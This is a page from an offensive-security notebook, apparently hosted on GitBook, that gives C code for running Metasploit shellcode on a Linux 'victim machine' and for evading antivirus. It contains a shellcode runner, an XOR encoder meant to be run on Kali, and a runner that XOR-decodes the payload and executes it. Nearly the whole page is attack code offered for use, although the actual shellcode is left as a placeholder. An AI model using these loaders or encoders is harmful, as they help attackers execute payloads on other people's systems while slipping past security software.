> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/payload/bypass-all-the-things/bypass-av-linux/c-runner.md).

# C Runner

Run metasploit shellcode

<pre><code>// compile with victim machine
// gcc -o shell.out shell.c -z execstact
// run with : ./shell.out
#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

unsigned char buff[] =
"...."
"...shellcode..."
"....."

<strong>int main (int argc, char **argv)
</strong>{
    // run shellcode
    int (*apple)()=(int(*)())buff;
    apple();
}
</code></pre>

## Encoder C

Encoder XOR

<pre><code>// compile with kali machine
// gcc -o encoder.out encoder.c
// run with : ./shell.out
#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

unsigned char buff[] =
"...."
"...shellcode..."
"....."
<strong>int main (int argc, char **argv)
</strong>{
    char xorKey = 'A';
    int payloadLength = (int) sizeof(buff);
    
    for (int i=0; i&#x3C;payloadLength; i++)
    {
         printf("\\x%02X", buff[i]^xorKey);   
    }
    return 0;
}
</code></pre>

Runner XOR in C:

```
// compile with victim machine
// gcc -o shell.out shell.c -z execstact
// run with : ./shell.out
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char buff[] = 
"<encoded payload>"

int main (int argc, char **argv)
{
    // run shellcode decoded from xor
    char xorKey = 'A';
    int arraysize = (int) sizeof(buff);
    for (int i=0; i<arraysize-1; i++)
    {
        buff[i] = buff[i]^xorKey;
    }
    // run decoded payload
    int (*apple)()=(int(*)())buff;
    apple();
}
```